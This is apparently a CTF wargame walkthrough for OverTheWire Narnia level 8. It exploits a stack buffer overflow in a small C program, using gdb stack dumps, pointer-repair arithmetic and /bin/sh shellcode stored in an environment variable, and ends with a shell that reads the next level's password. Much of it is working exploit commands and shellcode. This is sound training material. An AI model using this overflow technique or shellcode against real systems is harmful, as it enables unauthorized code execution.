overthewire / narina

Level 8

WARNING: this is quite the brain dump as opposed to a coherent post. I’m aiming to re-write this at some point.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc's variable reordering fucked things up
// to keep the level in its old style i am
// making "i" global unti i find a fix
// -morla
int i;

void func(char *b){
        char *blah=b;
        char bok[20];
        //int i=0;

        memset(bok, '\0', sizeof(bok));
        for(i=0; blah[i] != '\0'; i++)
                bok[i]=blah[i];

        printf("%s\n",bok);
}

int main(int argc, char **argv){

        if(argc > 1)
                func(argv[1]);
        else
        printf("%s argument\n", argv[0]);

        return 0;
}

The for loop is interesting - we copy data from blah into bok until we hit a null byte. There is no boundary check at all, which gives us the ability to overflow bok.

With this we should be able to overwrite funcs return address to main with something of our choosing. Let’s see this in gdb:

narnia8@narnia:/narnia$ gdb -q narnia8
Reading symbols from narnia8...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disass func
Dump of assembler code for function func:
   0x0804842d <+0>:     push   ebp
   0x0804842e <+1>:     mov    ebp,esp
   0x08048430 <+3>:     sub    esp,0x38
   0x08048433 <+6>:     mov    eax,DWORD PTR [ebp+0x8]
   0x08048436 <+9>:     mov    DWORD PTR [ebp-0xc],eax
   0x08048439 <+12>:    mov    DWORD PTR [esp+0x8],0x14
   0x08048441 <+20>:    mov    DWORD PTR [esp+0x4],0x0
   0x08048449 <+28>:    lea    eax,[ebp-0x20]
   0x0804844c <+31>:    mov    DWORD PTR [esp],eax
   0x0804844f <+34>:    call   0x8048320 <memset@plt>
   0x08048454 <+39>:    mov    DWORD PTR ds:0x80497b8,0x0
   0x0804845e <+49>:    jmp    0x8048486 <func+89>
   0x08048460 <+51>:    mov    eax,ds:0x80497b8
   0x08048465 <+56>:    mov    edx,DWORD PTR ds:0x80497b8
   0x0804846b <+62>:    mov    ecx,edx
   0x0804846d <+64>:    mov    edx,DWORD PTR [ebp-0xc]
   0x08048470 <+67>:    add    edx,ecx
   0x08048472 <+69>:    movzx  edx,BYTE PTR [edx]
   0x08048475 <+72>:    mov    BYTE PTR [ebp+eax*1-0x20],dl
   0x08048479 <+76>:    mov    eax,ds:0x80497b8
   0x0804847e <+81>:    add    eax,0x1
   0x08048481 <+84>:    mov    ds:0x80497b8,eax
   0x08048486 <+89>:    mov    eax,ds:0x80497b8
   0x0804848b <+94>:    mov    edx,eax
   0x0804848d <+96>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048490 <+99>:    add    eax,edx
   0x08048492 <+101>:   movzx  eax,BYTE PTR [eax]
   0x08048495 <+104>:   test   al,al
   0x08048497 <+106>:   jne    0x8048460 <func+51>
   0x08048499 <+108>:   lea    eax,[ebp-0x20]
   0x0804849c <+111>:   mov    DWORD PTR [esp+0x4],eax
   0x080484a0 <+115>:   mov    DWORD PTR [esp],0x8048580
   0x080484a7 <+122>:   call   0x80482f0 <printf@plt>
   0x080484ac <+127>:   leave
   0x080484ad <+128>:   ret
End of assembler dump.
(gdb) break *0x0804849c
Breakpoint 1 at 0x804849c
Breakpoint 1 at 0x804849c
(gdb) r $(python -c 'print "D"*20')
Starting program: /narnia/narnia8 $(python -c 'print "D"*20')

Breakpoint 1, 0x0804849c in func ()
(gdb) x/20wx $sp
0xffffd6c0:     0xffffd6d8      0x00000000      0x00000014      0xf7e55fe3
0xffffd6d0:     0x00000000      0x002c307d      0x44444444      0x44444444
0xffffd6e0:     0x44444444      0x44444444      0x44444444      0xffffd8e9
0xffffd6f0:     0x00000002      0xffffd7b4      0xffffd718      0x080484cd
0xffffd700:     0xffffd8e9      0xf7ffd000      0x080484fb      0xf7fcc000
(gdb) x/x 0x080484cd
0x80484cd <main+31>:    0x458b15eb
(gdb) x/s 0xffffd8e8
0xffffd8e8:     'D' <repeats 20 times>

The return value from func back to main is a couple of addresses down. We also see the arguments we passed in. Can we overwrite that?

(gdb) r $(python -c 'print "D"*40')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*40')

Breakpoint 1, 0x0804849c in func ()
(gdb) x/20wx $sp
0xffffd6b0:     0xffffd6c8      0x00000000      0x00000014      0xf7e55fe3
0xffffd6c0:     0x00000000      0x002c307d      0x44444444      0x44444444
0xffffd6d0:     0x44444444      0x44444444      0x44444444      0xffffd844
0xffffd6e0:     0x00000002      0xffffd7a4      0xffffd708      0x080484cd
0xffffd6f0:     0xffffd8d4      0xf7ffd000      0x080484fb      0xf7fcc000

Wait what? We’re not overflowing anything!

Actually that’s not quite true. 0xffffd8e9, blah’s address, has been changed to 0xffffd844 - 0x44 being the last byte we wrote. So technically if we changed that to 0xe9 we could keep the address intact.

(gdb) r $(python -c 'print "D"*20 + "\xe9"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xe9"')

Breakpoint 1, 0x0804849c in func ()
(gdb) x/20wx $sp
0xffffd6c0:     0xffffd6d8      0x00000000      0x00000014      0xf7e55fe3
0xffffd6d0:     0x00000000      0x002c307d      0x44444444      0x44444444
0xffffd6e0:     0x44444444      0x44444444      0x44444444      0xffff48e9

Progress, but now the next byte is off. Can we simply add the second chunk of our desired address, 0xd8?

(gdb) r $(python -c 'print "D"*20 + "\xe9\xd8"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xe9\xd8"')

Breakpoint 1, 0x0804849c in func ()
(gdb) x/20wx $sp
0xffffd6c0:     0xffffd6d8      0x00000000      0x00000014      0xf7e55fe3
0xffffd6d0:     0x00000000      0x002c307d      0x44444444      0x44444444
0xffffd6e0:     0x44444444      0x44444444      0x44444444      0xffff48e9
0xffffd6f0:     0x00000002      0xffffd7b4      0xffffd718      0x080484cd
0xffffd700:     0xffffd8e6      0xf7ffd000      0x080484fb      0xf7fcc000

That did not work - and there’s a simple reason for that. Let’s see what is at our expected address:

(gdb) x/s 0xffffd8e9
0xffffd8e9:     'D' <repeats 17 times>, "\351\330"
(gdb) x/s 0xffffd8e6
0xffffd8e6:     'D' <repeats 20 times>, "\351\330"

Because of our extra character the address for b shifted down. We need to take that into account:

(gdb) r $(python -c 'print "D"*20 + "\xe6\xd8"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xe6\xd8"')

Breakpoint 1, 0x0804849c in func ()
(gdb) x/20wx $sp
0xffffd6c0:     0xffffd6d8      0x00000000      0x00000014      0xf7e55fe3
0xffffd6d0:     0x00000000      0x002c307d      0x44444444      0x44444444
0xffffd6e0:     0x44444444      0x44444444      0x44444444      0xffffd8e6

Looking better! But we need to understand how the address shifts:

(gdb) break *0x08048449
Breakpoint 3 at 0x8048449
(gdb) delete 1
(gdb) delete 2
(gdb) r $(python -c 'print "D"*20 + "\xe6\xd8"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xe6\xd8"')

Breakpoint 3, 0x08048449 in func ()
(gdb) x/x $ebp-0xc
0xffffd6ec:     0xffffd8e6
(gdb) r $(python -c 'print "D"*20 + "\xe6\xd8D"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xe6\xd8D"')

Breakpoint 3, 0x08048449 in func ()
(gdb) x/x $ebp-0xc
0xffffd6ec:     0xffffd8e5
(gdb) r $(python -c 'print "D"*20 + "\xe6\xd8DD"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xe6\xd8DD"')

Breakpoint 3, 0x08048449 in func ()
(gdb) x/x $ebp-0xc
0xffffd6ec:     0xffffd8e4

So for every byte we add, b’s address shifts down by 1. Adding another 2 bytes for the address and another 20 D’s would mean b’s address will become 0xffffd8e6-22:

(gdb) p/x 0xffffd8e6-22
$16 = 0xffffd8d0

With this in mind let’s see if we can overflow:

(gdb) r $(python -c 'print "D"*20 + "\xd0\xd8\xff\xff" + "D"*20')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xd0\xd8\xff\xff" + "D"*20')

Breakpoint 4, 0x0804849c in func ()
(gdb) x/20wx $sp
0xffffd6b0:     0xffffd6c8      0x00000000      0x00000014      0xf7e55fe3
0xffffd6c0:     0x00000000      0x002c307d      0x44444444      0x44444444
0xffffd6d0:     0x44444444      0x44444444      0x44444444      0xffffd8d0
0xffffd6e0:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd6f0:     0x44444444      0xf7ffd000      0x080484fb      0xf7fcc000

Success! We’re getting there. With this we can overwrite func’s return value - though it needs to be meaningful. We’ll store our shellcode in an environment variable. We can get the variable’s address with the code below:

#include <stdio.h>
#include <stdlib.h>

int
main(int argc, char* argv[])
{
  printf("%s is at %p\n", argv[1], getenv(argv[1]));
}
narnia8@narnia:/tmp$ export SHELLCODE="\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80"
narnia8@narnia:/tmp$ gcc -m32 getenv.c -o getenv8
narnia8@narnia:/tmp$ ./getenv8 SHELLCODE
SHELLCODE is at 0xffffd882
narnia8@narnia:/tmp$ echo $SHELLCODE | wc
      1       1     141

narnia8@narnia:/narnia$ export SHELLCODE=$(printf "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80")
narnia8@narnia:/narnia$ gdb -q narnia8
Reading symbols from narnia8...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disass func
Dump of assembler code for function func:
   0x0804842d <+0>:     push   ebp
   0x0804842e <+1>:     mov    ebp,esp
   0x08048430 <+3>:     sub    esp,0x38
   0x08048433 <+6>:     mov    eax,DWORD PTR [ebp+0x8]
   0x08048436 <+9>:     mov    DWORD PTR [ebp-0xc],eax
   0x08048439 <+12>:    mov    DWORD PTR [esp+0x8],0x14
   0x08048441 <+20>:    mov    DWORD PTR [esp+0x4],0x0
   0x08048449 <+28>:    lea    eax,[ebp-0x20]
   0x0804844c <+31>:    mov    DWORD PTR [esp],eax
   0x0804844f <+34>:    call   0x8048320 <memset@plt>
   0x08048454 <+39>:    mov    DWORD PTR ds:0x80497b8,0x0
   0x0804845e <+49>:    jmp    0x8048486 <func+89>
   0x08048460 <+51>:    mov    eax,ds:0x80497b8
   0x08048465 <+56>:    mov    edx,DWORD PTR ds:0x80497b8
   0x0804846b <+62>:    mov    ecx,edx
   0x0804846d <+64>:    mov    edx,DWORD PTR [ebp-0xc]
   0x08048470 <+67>:    add    edx,ecx
   0x08048472 <+69>:    movzx  edx,BYTE PTR [edx]
   0x08048475 <+72>:    mov    BYTE PTR [ebp+eax*1-0x20],dl
   0x08048479 <+76>:    mov    eax,ds:0x80497b8
   0x0804847e <+81>:    add    eax,0x1
   0x08048481 <+84>:    mov    ds:0x80497b8,eax
   0x08048486 <+89>:    mov    eax,ds:0x80497b8
   0x0804848b <+94>:    mov    edx,eax
   0x0804848d <+96>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048490 <+99>:    add    eax,edx
   0x08048492 <+101>:   movzx  eax,BYTE PTR [eax]
   0x08048495 <+104>:   test   al,al
   0x08048497 <+106>:   jne    0x8048460 <func+51>
   0x08048499 <+108>:   lea    eax,[ebp-0x20]
   0x0804849c <+111>:   mov    DWORD PTR [esp+0x4],eax
   0x080484a0 <+115>:   mov    DWORD PTR [esp],0x8048580
   0x080484a7 <+122>:   call   0x80482f0 <printf@plt>
   0x080484ac <+127>:   leave
   0x080484ad <+128>:   ret
End of assembler dump.
(gdb) break *0x080484a7
Breakpoint 1 at 0x80484a7
(gdb) r  $(python -c 'print "D"*20 + "\xd0\xd8\xff\xff" + "D"*20')
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xd0\xd8\xff\xff" + "D"*20')

Breakpoint 1, 0x080484a7 in func ()
(gdb) x/20wx $sp
0xffffd670:     0x08048580      0xffffd688      0x00000014      0xf7e55fe3
0xffffd680:     0x00000000      0x002c307d      0x44444444      0x44444444
0xffffd690:     0x44444444      0x44444444      0x44444444      0xffff0bd0
0xffffd6a0:     0x00000002      0xffffd764      0xffffd6c8      0x080484cd
0xffffd6b0:     0xffffd8a2      0xf7ffd000      0x080484fb      0xf7fcc000
(gdb) break 0x08048449
Function "0x08048449" not defined.
Make breakpoint pending on future shared library load? (y or [n]) n
(gdb) break *0x08048449
Breakpoint 2 at 0x8048449
(gdb) r  $(python -c 'print "D"*20 + "\xd0\xd8\xff\xff" + "D"*20')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xd0\xd8\xff\xff" + "D"*20')

Breakpoint 2, 0x08048449 in func ()
(gdb) x/x ebp-0xc
No symbol table is loaded.  Use the "file" command.
(gdb) x/x $ebp-0xc
0xffffd69c:     0xffffd8a2
(gdb) p/x 0xffffd8a2-22
$1 = 0xffffd88c
(gdb) r  $(python -c 'print "D"*20 + "\xa2\xd8\xff\xff" + "D"*20')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xa2\xd8\xff\xff" + "D"*20')

Breakpoint 2, 0x08048449 in func ()
(gdb) n
Single stepping until exit from function func,
which has no line number information.

Breakpoint 1, 0x080484a7 in func ()
(gdb) x/20wx $esp
0xffffd670:     0x08048580      0xffffd688      0x00000014      0xf7e55fe3
0xffffd680:     0x00000000      0x002c307d      0x44444444      0x44444444
0xffffd690:     0x44444444      0x44444444      0x44444444      0xffffd8a2
0xffffd6a0:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd6b0:     0x44444444      0xf7ffd000      0x080484fb      0xf7fcc000
(gdb) x/x 0x080484fb
0x80484fb <__libc_csu_init+11>: 0x1295c381
(gdb) c
Continuing.
DDDDDDDDDDDDDDDDDDDD▒▒DDDDDDDDDDDDDDDDDDDD

Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
(gdb) r  $(python -c 'print "D"*20 + "\xa2\xd8\xff\xff" + "D"*20')
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xa2\xd8\xff\xff" + "D"*20')

Breakpoint 2, 0x08048449 in func ()
(gdb) x/s *((char **)environ)
0xffffd8cf:     "SHELLCODE=1\300\061\333\061\311\231\260\244\315\200j\vXQh//shh/bin\211\343Q\211\342S\211\341\315\200"
(gdb) r  $(python -c 'print "D"*20 + "\xa2\xd8\xff\xff" + "\xcf\xd8\xff\xff"*5')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xa2\xd8\xff\xff" + "\xcf\xd8\xff\xff"*5')

Breakpoint 2, 0x08048449 in func ()
(gdb) c
Continuing.

Breakpoint 1, 0x080484a7 in func ()
(gdb) c
Continuing.
DDDDDDDDDDDDDDDDDDDD▒▒▒▒▒▒▒▒▒▒▒▒
process 486 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 2.
Cannot access memory at address 0x8048449
Cannot insert breakpoint 1.
Cannot access memory at address 0x80484a7

We now need to do this outside of gdb, which sounds much easier than it is. For starters the environment in gdb is different - which means b’s address will be different too. However we do know from the source code that bok will be printed until it hits a null byte. This means that if we fill it with 20 non-null bytes, the next one will be b’s address.

narnia8@narnia:/narnia$ ./narnia8  $(python -c 'print "D"*20')  | xxd
0000000: 4444 4444 4444 4444 4444 4444 4444 4444  DDDDDDDDDDDDDDDD
0000010: 4444 4444 ccd8 ffff 020a                 DDDD......
narnia8@narnia:/narnia$ python -c 'print "{:8x}".format(0xffffd8cc-24)'
ffffd8b4
narnia8@narnia:/narnia$ ./narnia8  $(python -c 'print "D"*20 + "\xb4\xd8\xff\xff" + "D"*20' )
DDDDDDDDDDDDDDDDDDDD▒▒DDDDDDDDDDDDDDDDDDDD
Segmentation fault (core dumped)
narnia8@narnia:/narnia$ ./narnia8  $(python -c 'print "D"*20 + "\xb4\xd8\xff\xff" + "\xeb\xd8\xff\xff*5' )
  File "<string>", line 1
    print "D"*20 + "\xb4\xd8\xff\xff" + "\xeb\xd8\xff\xff*5
                                                          ^
SyntaxError: EOL while scanning string literal
./narnia8 argument
narnia8@narnia:/narnia$ ./narnia8  $(python -c 'print "D"*20 + "\xb4\xd8\xff\xff" + "\xeb\xd8\xff\xff"*5' )
DDDDDDDDDDDDDDDDDDDD▒▒▒▒▒▒▒▒▒▒▒▒
$ cat /etc/narnia_pass/narnia9
*** password ***